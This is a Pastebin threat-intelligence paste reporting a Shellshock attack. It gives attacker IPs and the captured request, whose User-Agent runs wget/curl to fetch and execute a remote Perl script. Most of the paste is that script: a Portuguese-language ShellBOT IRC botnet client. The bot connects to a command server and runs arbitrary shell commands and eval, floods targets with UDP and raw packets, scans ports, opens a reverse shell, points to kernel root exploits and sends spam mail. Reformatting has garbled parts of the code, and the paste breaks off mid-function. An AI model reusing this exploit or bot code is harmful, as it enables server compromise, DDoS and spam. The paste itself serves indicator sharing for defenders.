Advertisement
Neonprimetime

Shellshock Attempt: 216.70.100.172 margaretguttshall.org

Mar 16th, 2015
376
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 42.52 KB | None | 0 0
  1. Shellshock Attempt
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. *****
  6. 128.199.218.189
  7. 216.70.100.172
  8. hxxp://margaretguttshall.org/cata.txt
  9.  
  10. *****
  11. GET /cgi-bin-sdb/printenv
  12. User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("wget http://margaretguttshall.org/cata.txt -O /tmp/b.pl;curl -O /tmp/b.pl http://margaretguttshall.org/cata.txt;perl /tmp/b.pl;rm -rf /tmp/b.pl*");'
  13.  
  14. *****
  15.  
  16. #!/usr/bin/perl
  17.  
  18. ##
  19. ShellBOT by: devil__# Greetz: Puna, Kelserific## Comandos: #@oldpack < ip > < bytes > < tempo > ;#@
  20. udp < ip > < porta > < tempo > ;#@
  21. fullportscan < ip > < porta inicial > < porta final > ;#@
  22. conback < ip > < porta > #@download < url > < arquivo a ser salvo > ;#
  23. !estatisticas < on / off > ;#
  24. !sair para finalizar o bot;#
  25. !novonick para trocar o nick do bot por um novo aleatorio;#
  26. !
  27. entra < canal > < tempo > #!sai < canal > < tempo > ;#
  28. !pacotes < on / off > #@info#@ xpl < kernel > #@sendmail < assunto > < remetente > < destinatario > < conteudo >
  29.  
  30. ##########CONFIGURACAO############
  31.  
  32. my@ ps = ("/usr/local/apache/bin/httpd -DSSL", "/sbin/syslogd", "[eth0]", "/sbin/klogd -c 1 -x -x", "/usr/sbin/acpid", "/usr/sbin/cron", "[bash]");
  33. my $processo = $ps[rand scalar@ ps];
  34.  
  35. $servidor = '216.70.100.172'
  36. unless $servidor;
  37. my $porta = '6667';
  38. my@ canais = ("#blackcat");
  39. my@ adms = ("iPS", "pain");
  40.  
  41.  
  42.  
  43. #
  44. Anti Flood(6 / 3 Recomendado)
  45. my $linas_max = 10;
  46. my $sleep = 5;
  47.  
  48. my $nick = getnick();
  49. my $ircname = getident2();
  50. my $realname = "uname -sr";
  51. chop(my $realname = `uname -sr`);
  52.  
  53. my $acessoshell = 1;########
  54. Stealth ShellBot##########
  55. my $prefixo = "!all";
  56. my $estatisticas = 0;
  57. my $pacotes = 1;####################################
  58.  
  59. my $VERSAO = '0.3b';
  60.  
  61. $SIG {
  62. 'INT'
  63. } = 'IGNORE';
  64. $SIG {
  65. 'HUP'
  66. } = 'IGNORE';
  67. $SIG {
  68. 'TERM'
  69. } = 'IGNORE';
  70. $SIG {
  71. 'CHLD'
  72. } = 'IGNORE';
  73. $SIG {
  74. 'PS'
  75. } = 'IGNORE';
  76.  
  77. use IO::Socket;
  78. use Socket;
  79. use IO::Select;
  80. chdir("/");
  81. $servidor = "$ARGV[0]"
  82. if $ARGV[0];
  83. $0 = "$processo".
  84. "\0";
  85. my $pid = fork;
  86. exit
  87. if $pid;
  88. die "Problema com o fork: $!"
  89. unless defined($pid);
  90.  
  91. my % irc_servers;
  92. my % DCC;
  93. my $dcc_sel = new IO::Select - > new();
  94.  
  95. ######################
  96. Stealth Shellbot######################
  97.  
  98. sub getnick {
  99. return "x-".int(rand(1000));
  100. }
  101.  
  102. sub getident2 {
  103. my $length = shift;
  104. $length = 3
  105. if ($length < 3);
  106.  
  107. my@ chars = ('a'..
  108. 'z', 'A'..
  109. 'Z', '1'..
  110. '9');
  111. foreach(1..$length) {
  112. $randomstring. = $chars[rand@ chars];
  113. }
  114. return $randomstring;
  115. }
  116.  
  117. ##############################
  118. B0tchZ na veia ehehe: P##############################
  119.  
  120. $sel_cliente = IO::Select - > new();
  121. sub sendraw {
  122. if ($# _ == '1') {
  123. my $socket = $_[0];
  124. print $socket "$_[1]\n";
  125. } else {
  126. print $IRC_cur_socket "$_[0]\n";
  127. }
  128. }
  129.  
  130. sub conectar {
  131. my $meunick = $_[0];
  132. my $servidor_con = $_[1];
  133. my $porta_con = $_[2];
  134.  
  135. my $IRC_socket = IO::Socket::INET - > new(Proto => "tcp", PeerAddr => "$servidor_con", PeerPort => $porta_con) or
  136. return (1);
  137. if (defined($IRC_socket)) {
  138. $IRC_cur_socket = $IRC_socket;
  139.  
  140. $IRC_socket - > autoflush(1);
  141. $sel_cliente - > add($IRC_socket);
  142.  
  143. $irc_servers {
  144. $IRC_cur_socket
  145. } {
  146. 'host'
  147. } = "$servidor_con";
  148. $irc_servers {
  149. $IRC_cur_socket
  150. } {
  151. 'porta'
  152. } = "$porta_con";
  153. $irc_servers {
  154. $IRC_cur_socket
  155. } {
  156. 'nick'
  157. } = $meunick;
  158. $irc_servers {
  159. $IRC_cur_socket
  160. } {
  161. 'meuip'
  162. } = $IRC_socket - > sockhost;
  163. nick("$meunick");
  164. sendraw("USER $ircname ".$IRC_socket - > sockhost.
  165. " $servidor_con :$realname");
  166. print "\nShellBot $VERSAO by: deviL__\n";
  167. print "nick: $nick\n";
  168. print "servidor: $servidor\n\n";
  169. sleep 2;
  170. }
  171.  
  172. }
  173. my $line_temp;
  174. while (1) {
  175. while (!(keys( % irc_servers))) {
  176. conectar("$nick", "$servidor", "$porta");
  177. }
  178. delete($irc_servers {
  179. ''
  180. }) if (defined($irc_servers {
  181. ''
  182. })); & DCC::connections;
  183. my@ ready = $sel_cliente - > can_read(0.6);
  184. next unless(@ready);
  185. foreach $fh(@ready) {
  186. $IRC_cur_socket = $fh;
  187. $meunick = $irc_servers {
  188. $IRC_cur_socket
  189. } {
  190. 'nick'
  191. };
  192. $nread = sysread($fh, $msg, 4096);
  193. if ($nread == 0) {
  194. $sel_cliente - > remove($fh);
  195. $fh - > close;
  196. delete($irc_servers {
  197. $fh
  198. });
  199. }@
  200. lines = split(/\n/, $msg);
  201.  
  202. for (my $c = 0; $c <= $# lines; $c++) {
  203. $line = $lines[$c];
  204. $line = $line_temp.$line
  205. if ($line_temp);
  206. $line_temp = '';
  207. $line = ~s / \r$ //;
  208. unless($c == $# lines) {
  209. parse("$line");
  210. } else {
  211. if ($# lines == 0) {
  212. parse("$line");
  213. }
  214. elsif($lines[$c] = ~/\r$/) {
  215. parse("$line");
  216. }
  217. elsif($line = ~/^(\S+) NOTICE AUTH :\*\*\*/) {
  218. parse("$line");
  219. } else {
  220. $line_temp = $line;
  221. }
  222. }
  223. }
  224. }
  225. }
  226.  
  227. sub parse {
  228. my $servarg = shift;
  229. if ($servarg = ~/^PING \:(.*)/) {
  230. sendraw("PONG :$1");
  231. }
  232. elsif($servarg = ~/^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  233. my $pn = $1;
  234. my $onde = $4;
  235. my $args = $5;
  236. if ($args = ~/^\001VERSION\001$/) {
  237. notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  238. }
  239. elsif($args = ~/^\001PING\s+(\d+)\001$/) {
  240. notice("$pn", "\001PONG\001");
  241. }
  242. elsif(grep {
  243. $_ = ~/^\Q$pn\E$/i
  244. }@
  245. adms) {
  246. if ($onde eq "$meunick") {
  247. shell("$pn", "$args");
  248. }
  249. elsif($args = ~/^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/) {
  250. my $natrix = $1;
  251. my $arg = $2;
  252. if ($arg = ~/^\!(.*)/) {
  253. ircase("$pn", "$onde", "$1") unless($natrix eq "$prefixo"
  254. and $arg = ~/^\!nick/);
  255. }
  256. elsif($arg = ~/^\@(.*)/) {
  257. $ondep = $onde;
  258. $ondep = $pn
  259. if $onde eq $meunick;
  260. bfunc("$ondep", "$1");
  261. } else {
  262. shell("$onde", "$arg");
  263. }
  264. }
  265. }
  266. }
  267. elsif($servarg = ~/^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  268. if (lc($1) eq lc($meunick)) {
  269. $meunick = $4;
  270. $irc_servers {
  271. $IRC_cur_socket
  272. } {
  273. 'nick'
  274. } = $meunick;
  275. }
  276. }
  277. elsif($servarg = ~m / ^ \: (. + ? )\ s + 433 / i) {
  278. $meunick = getnick();
  279. nick("$meunick");
  280. }
  281. elsif($servarg = ~m / ^ \: (. + ? )\ s + 001\ s + (\S + )\ s / i) {
  282. $meunick = $2;
  283. $irc_servers {
  284. $IRC_cur_socket
  285. } {
  286. 'nick'
  287. } = $meunick;
  288. $irc_servers {
  289. $IRC_cur_socket
  290. } {
  291. 'nome'
  292. } = "$1";
  293. foreach my $canal(@canais) {
  294. sendraw("JOIN $canal");
  295. }
  296. }
  297. }
  298.  
  299. sub bfunc {
  300. my $printl = $_[0];
  301. my $funcarg = $_[1];
  302. if (my $pid = fork) {
  303. waitpid($pid, 0);
  304. } else {
  305. if (fork) {
  306. exit;
  307. } else {
  308. if ($funcarg = ~/^portscan (.*)/) {
  309. my $hostip = "$1";
  310. my@ portas = ("21", "22", "23", "25", "53", "59", "79", "80", "110", "113", "135", "139", "443", "445", "1025", "5000", "6660", "6661", "6662", "6663", "6665", "6666", "6667", "6668", "6669", "7000", "8080", "8018");
  311. my(@aberta, % porta_banner);
  312. foreach my $porta(@portas) {
  313. my $scansock = IO::Socket::INET - > new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  314. if ($scansock) {
  315. push(@aberta, $porta);
  316. $scansock - > close;
  317. }
  318. }
  319. if (@aberta) {
  320. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  321. } else {
  322. sendraw($IRC_cur_socket, "PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  323. }
  324. }
  325.  
  326. #
  327. elsif($funcarg = ~/^download\s+(.*)\s+(.*)/) {#
  328. getstore("$1", "$2");#
  329. sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu?do!");#
  330. }
  331.  
  332. elsif($funcarg = ~/^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  333. my $hostname = "$1";
  334. my $portainicial = "$2";
  335. my $portafinal = "$3";
  336. my(@abertas, % porta_banner);
  337. foreach my $porta($portainicial..$portafinal) {
  338. my $scansock = IO::Socket::INET - > new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  339. if ($scansock) {
  340. push(@abertas, $porta);
  341. $scansock - > close;
  342. sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  343. }
  344. }
  345. if (@abertas) {
  346. sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  347. } else {
  348. sendraw($IRC_cur_socket, "PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  349. }
  350. }
  351.  
  352. #
  353. Duas Vers ? es simplificada do meu Tr0x;
  354. D
  355. elsif($funcarg = ~/^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  356. return unless $pacotes;
  357. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  358. my $alvo = inet_aton("$1");
  359. my $porta = "$2";
  360. my $tempo = "$3";
  361. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002pacotando\002: $1 \002tempo\002: $tempo");
  362. my $pacote;
  363. my $pacotese;
  364. my $fim = time + $tempo;
  365. my $pacota = 1;
  366. while (($pacota == "1")) {
  367. $pacota = 0
  368. if ((time >= $fim) && ($tempo != "0"));
  369. $pacote = $rand x $rand x $rand;
  370. $porta = int(rand 65000) + 1
  371. if ($porta == "0");
  372. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++;
  373. }#
  374. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo".
  375. "s");#
  376. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  377. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002pacotado\002: $1 \002tempo\002: $tempo".
  378. "segs \002pacotes\002: $pacotese");
  379. }
  380.  
  381. elsif($funcarg = ~/^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  382. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002aviso\002: \@udpfaixa foi removido do bot");
  383. exit;
  384. return unless $pacotes;
  385. socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  386. my $faixaip = "$1";
  387. my $porta = "$2";
  388. my $tempo = "$3";
  389. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Pacotando\002: $1 \002tempo\002: $tempo");
  390. my $pacote;
  391. my $pacotes;
  392. my $fim = time + $tempo;
  393. my $pacota = 1;
  394. my $alvo;
  395. while ($pacota == "1") {
  396. $pacota = 0
  397. if ((time >= $fim) && ($tempo != "0"));
  398. for (my $faixa = 1; $faixa <= 255; $faixa++) {
  399. $alvo = inet_aton("$faixaip.$faixa");
  400. $pacote = $rand x $rand x $rand;
  401. $porta = int(rand 65000) + 1
  402. if ($porta == "0");
  403. send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++;
  404. if ($faixa >= 255) {
  405. $faixa = 1;
  406. }
  407. }
  408. }#
  409. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo".
  410. "s");#
  411. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  412. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002faixa\002: $1".
  413. "1-".
  414. "$2".
  415. "255 \002tempo\002: $tempo".
  416. "segs \002pacotes\002: $pacotese");
  417. }
  418.  
  419. #
  420. Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows;
  421. p
  422. elsif($funcarg = ~/^conback\s+(.*)\s+(\d+)/) {
  423. my $host = "$1";
  424. my $porta = "$2";
  425. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  426. my $proto = getprotobyname('tcp');
  427. my $iaddr = inet_aton($host);
  428. my $paddr = sockaddr_in($porta, $iaddr);
  429. my $shell = "/bin/sh -i";
  430. if ($ ^ O eq "MSWin32") {
  431. $shell = "cmd.exe";
  432. }
  433. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  434. connect(SOCKET, $paddr) or die "connect: $!";
  435. open(STDIN, ">&SOCKET");
  436. open(STDOUT, ">&SOCKET");
  437. open(STDERR, ">&SOCKET");
  438. system("$shell");
  439. close(STDIN);
  440. close(STDOUT);
  441. close(STDERR);
  442. }
  443.  
  444. elsif($funcarg = ~/^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  445. return unless $pacotes;
  446. my($dtime, % pacotes) = attacker("$1", "$2", "$3");
  447. $dtime = 1
  448. if $dtime == 0;
  449. my % bytes;
  450. $bytes {
  451. igmp
  452. } = $2 * $pacotes {
  453. igmp
  454. };
  455. $bytes {
  456. icmp
  457. } = $2 * $pacotes {
  458. icmp
  459. };
  460. $bytes {
  461. o
  462. } = $2 * $pacotes {
  463. o
  464. };
  465. $bytes {
  466. udp
  467. } = $2 * $pacotes {
  468. udp
  469. };
  470. $bytes {
  471. tcp
  472. } = $2 * $pacotes {
  473. tcp
  474. };
  475. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
  476. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime".
  477. "s");
  478. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes {
  479. udp
  480. } + $pacotes {
  481. igmp
  482. } + $pacotes {
  483. icmp
  484. } + $pacotes {
  485. o
  486. }));
  487. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes {
  488. icmp
  489. } + $bytes {
  490. igmp
  491. } + $bytes {
  492. udp
  493. } + $bytes {
  494. o
  495. }));
  496. sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M?dia de envio\002: ".int((($bytes {
  497. icmp
  498. } + $bytes {
  499. igmp
  500. } + $bytes {
  501. udp
  502. } + $bytes {
  503. o
  504. }) / 1024) / $dtime).
  505. " kbps");
  506. }
  507. elsif($funcarg = ~/^xpl\s+(.*)/) {
  508. my $kernel = "$1";
  509. if ($kernel = ~/2.4.17/) {
  510. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: newlocal, kmod, uselib24");
  511. goto downloads;
  512. }
  513. if ($kernel = ~/2.4.18/) {
  514. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: newlocal, kmod, brk, brk2");
  515. goto downloads;
  516. }
  517. if ($kernel = ~/2.4.19/) {
  518. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, newlocal, w00t, brkm brk2");
  519. goto downloads;
  520. }
  521. if ($kernel = ~/2.4.20/) {
  522. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, kmod2, newlocal, w00t, ptrace, ptrace-kmod, brk, brk2");
  523. goto downloads;
  524. }
  525. if ($kernel = ~/2.4.21/) {
  526. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: brk, brk2, ptrace, ptrace-kmod, uselib24, elflbl");
  527. goto downloads;
  528. }
  529. if ($kernel = ~/2.4.22/) {
  530. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: brk, brk2, ptrace, ptrace-kmod, uselib24, elflbl, mremap_pte, loginx");
  531. goto downloads;
  532. }
  533. if ($kernel = ~/2.4.23/) {
  534. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl, mremap_pte");
  535. goto downloads;
  536. }
  537. if ($kernel = ~/2.4.24/) {
  538. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl, mremap_pte");
  539. goto downloads;
  540. }
  541. if ($kernel = ~/2.4.25/) {
  542. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl");
  543. goto downloads;
  544. }
  545. if ($kernel = ~/2.4.26/) {
  546. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl");
  547. goto downloads;
  548. }
  549. if ($kernel = ~/2.4.27/) {
  550. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl");
  551. goto downloads;
  552. }
  553. if ($kernel = ~/2.4.28/) {
  554. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl");
  555. goto downloads;
  556. }
  557. if ($kernel = ~/2.6.0/) {
  558. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: wuftpd, h00lyshit");
  559. goto downloads;
  560. }
  561. if ($kernel = ~/2.6.2/) {
  562. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: mremap_pte, krad, h00lyshit");
  563. goto downloads;
  564. }
  565. if ($kernel = ~/2.6.5/) {
  566. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad, krad2, h00lyshit");
  567. goto downloads;
  568. }
  569. if ($kernel = ~/2.6.6/) {
  570. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad, krad2, h00lyshit");
  571. goto downloads;
  572. }
  573. if ($kernel = ~/2.6.7/) {
  574. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit");
  575. goto downloads;
  576. }
  577. if ($kernel = ~/2.6.8/) {
  578. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit");
  579. goto downloads;
  580. }
  581. if ($kernel = ~/2.6.9/) {
  582. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit, r00t");
  583. goto downloads;
  584. }
  585. if ($kernel = ~/2.6.10/) {
  586. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit");
  587. goto downloads;
  588. }
  589. if ($kernel = ~/2.6.11/) {
  590. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: h00lyshit, k-rad3");
  591. goto downloads;
  592. }
  593. if ($kernel = ~/2.6.12/) {
  594. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: h00lyshit");
  595. goto downloads;
  596. }
  597. if ($kernel = ~/2.6.13/) {
  598. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl");
  599. goto downloads;
  600. }
  601. if ($kernel = ~/2.6.14/) {
  602. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl");
  603. goto downloads;
  604. }
  605. if ($kernel = ~/2.6.15/) {
  606. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl");
  607. goto downloads;
  608. }
  609. if ($kernel = ~/2.6.16/) {
  610. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl");
  611. goto downloads;
  612. }
  613. if ($kernel = ~/2.6.17/) {
  614. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl");
  615. goto downloads;
  616. }
  617. sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: nothing =)");
  618. exit;
  619. downloads:
  620. sendraw($IRC_cur_socket, "PRIVMSG $printl : downloads: 12http://dvl.by.ru/xpl");
  621. }
  622. elsif($funcarg = ~/^info/) {
  623. my $sysos = `uname -sr`;
  624. my $uptime = `uptime`;
  625. if ($sysos = ~/freebsd/i) {
  626. $sysname = `hostname`;
  627. $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
  628. $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
  629. chomp($memory);
  630. chomp($swap);
  631. }
  632. elsif($sysos = ~/linux/i) {
  633. $sysname = `hostname -f`;
  634. $memory = `free -m |grep -i mem | awk '{print \$2}'`;
  635. $swap = `free -m |grep -i swap | awk '{print \$2}'`;
  636. chomp($swap);
  637. chomp($memory);
  638. } else {
  639. $sysname = "Not Found";;
  640. $memory = "Not found";
  641. $swap = "Not Found";
  642. }
  643. sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 SysInfo 3] 15-------------");
  644. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01os/host15;01 $sysos - $sysname ");
  645. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01proc/PID15;01 $processo - $$");
  646. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01uptime15;01 $uptime");
  647. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01memory/swap15;01 $memory - $swap");
  648. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01perl/bot15;01 $] - $VERSAO");
  649. sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 /SysInfo 3] 15------------");
  650. }
  651. elsif($funcarg = ~/^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  652. sendraw($IRC_cur_socket, "PRIVMSG $printl : 01Enviando e-mail para: $3");
  653. $subject = $1;
  654. $sender = $2;
  655. $recipient = $3;@
  656. corpo = $4;
  657. $mailtype = "content-type: text/html";
  658. $sendmail = '/usr/sbin/sendmail';
  659. open(SENDMAIL, "| $sendmail -t");
  660. print SENDMAIL "$mailtype\n";
  661. print SENDMAIL "Subject: $subject\n";
  662. print SENDMAIL "From: $sender\n";
  663. print SENDMAIL "To: $recipient\n\n";
  664. print SENDMAIL "@corpo\n\n";
  665. close(SENDMAIL);
  666. sendraw($IRC_cur_socket, "PRIVMSG $printl :01email enviado para: $recipient");
  667. }
  668. exit;
  669. }
  670. }
  671. }
  672.  
  673. sub ircase {
  674. my($kem, $printl, $case) = @_;
  675.  
  676. if ($case = ~/^join (.*)/) {
  677. j("$1");
  678. }
  679. elsif($case = ~/^part (.*)/) {
  680. p("$1");
  681. }
  682. elsif($case = ~/^rejoin\s+(.*)/) {
  683. my $chan = $1;
  684. if ($chan = ~/^(\d+) (.*)/) {
  685. for (my $ca = 1; $ca <= $1; $ca++) {
  686. p("$2");
  687. j("$2");
  688. }
  689. } else {
  690. p("$chan");
  691. j("$chan");
  692. }
  693. }
  694. elsif($case = ~/^op/) {
  695. op("$printl", "$kem") if $case eq "op";
  696. my $oarg = substr($case, 3);
  697. op("$1", "$2") if ($oarg = ~/(\S+)\s+(\S+)/);
  698. }
  699. elsif($case = ~/^deop/) {
  700. deop("$printl", "$kem") if $case eq "deop";
  701. my $oarg = substr($case, 5);
  702. deop("$1", "$2") if ($oarg = ~/(\S+)\s+(\S+)/);
  703. }
  704. elsif($case = ~/^voice/) {
  705. voice("$printl", "$kem") if $case eq "voice";
  706. $oarg = substr($case, 6);
  707. voice("$1", "$2") if ($oarg = ~/(\S+)\s+(\S+)/);
  708. }
  709. elsif($case = ~/^devoice/) {
  710. devoice("$printl", "$kem") if $case eq "devoice";
  711. $oarg = substr($case, 8);
  712. devoice("$1", "$2") if ($oarg = ~/(\S+)\s+(\S+)/);
  713. }
  714. elsif($case = ~/^msg\s+(\S+) (.*)/) {
  715. msg("$1", "$2");
  716. }
  717. elsif($case = ~/^flood\s+(\d+)\s+(\S+) (.*)/) {
  718. for (my $cf = 1; $cf <= $1; $cf++) {
  719. msg("$2", "$3");
  720. }
  721. }
  722. elsif($case = ~/^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  723. for (my $cf = 1; $cf <= $1; $cf++) {
  724. ctcp("$2", "$3");
  725. }
  726. }
  727. elsif($case = ~/^ctcp\s+(\S+) (.*)/) {
  728. ctcp("$1", "$2");
  729. }
  730. elsif($case = ~/^invite\s+(\S+) (.*)/) {
  731. invite("$1", "$2");
  732. }
  733. elsif($case = ~/^nick (.*)/) {
  734. nick("$1");
  735. }
  736. elsif($case = ~/^conecta\s+(\S+)\s+(\S+)/) {
  737. conectar("$2", "$1", 6667);
  738. }
  739. elsif($case = ~/^send\s+(\S+)\s+(\S+)/) {
  740. DCC::SEND("$1", "$2");
  741. }
  742. elsif($case = ~/^raw (.*)/) {
  743. sendraw("$1");
  744. }
  745. elsif($case = ~/^eval (.*)/) {
  746. eval "$1";
  747. }
  748. elsif($case = ~/^entra\s+(\S+)\s+(\d+)/) {
  749. sleep int(rand($2));
  750. j("$1");
  751. }
  752. elsif($case = ~/^sai\s+(\S+)\s+(\d+)/) {
  753. sleep int(rand($2));
  754. p("$1");
  755. }
  756. elsif($case = ~/^sair/) {
  757. quit();
  758. }
  759. elsif($case = ~/^novonick/) {
  760. my $novonick = getnick();
  761. nick("$novonick");
  762. }
  763. elsif($case = ~/^estatisticas (.*)/) {
  764. if ($1 eq "on") {
  765. $estatisticas = 1;
  766. msg("$printl", "Estat?sticas ativadas!");
  767. }
  768. elsif($1 eq "off") {
  769. $estatisticas = 0;
  770. msg("$printl", "Estat?sticas desativadas!");
  771. }
  772. }
  773. elsif($case = ~/^pacotes (.*)/) {
  774. if ($1 eq "on") {
  775. $pacotes = 1;
  776. msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  777. }
  778. elsif($1 eq "off") {
  779. $pacotes = 0;
  780. msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  781. }
  782. }
  783. }
  784. sub shell {
  785. return unless $acessoshell;
  786. my $printl = $_[0];
  787. my $comando = $_[1];
  788. if ($comando = ~/cd (.*)/) {
  789. chdir("$1") || msg("$printl", "Diret?rio inexistente!");
  790. return;
  791. }
  792. elsif($pid = fork) {
  793. waitpid($pid, 0);
  794. } else {
  795. if (fork) {
  796. exit;
  797. } else {
  798. my@ resp = `$comando 2>&1 3>&1`;
  799. my $c = 0;
  800. foreach my $linha(@resp) {
  801. $c++;
  802. chop $linha;
  803. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  804. if ($c >= "$linas_max") {
  805. $c = 0;
  806. sleep $sleep;
  807. }
  808. }
  809. exit;
  810. }
  811. }
  812. }
  813.  
  814. #
  815. eu fiz um pacotadorzinhu e talz..dai colokemo ele aki
  816. sub attacker {
  817. my $iaddr = inet_aton($_[0]);
  818. my $msg = 'B'
  819. x $_[1];
  820. my $ftime = $_[2];
  821. my $cp = 0;
  822. my( % pacotes);
  823. $pacotes {
  824. icmp
  825. } = $pacotes {
  826. igmp
  827. } = $pacotes {
  828. udp
  829. } = $pacotes {
  830. o
  831. } = $pacotes {
  832. tcp
  833. } = 0;
  834.  
  835. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  836. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  837. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  838. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  839. return (undef) if $cp == 4;
  840. my $itime = time;
  841. my($cur_time);
  842. while (1) {
  843. for (my $porta = 1; $porta <= 65535; $porta++) {
  844. $cur_time = time - $itime;
  845. last
  846. if $cur_time >= $ftime;
  847. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  848. igmp
  849. }++
  850. if ($pacotes == 1);
  851. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  852. udp
  853. }++
  854. if ($pacotes == 1);
  855. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  856. icmp
  857. }++
  858. if ($pacotes == 1);
  859. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes {
  860. tcp
  861. }++
  862. if ($pacotes == 1);
  863.  
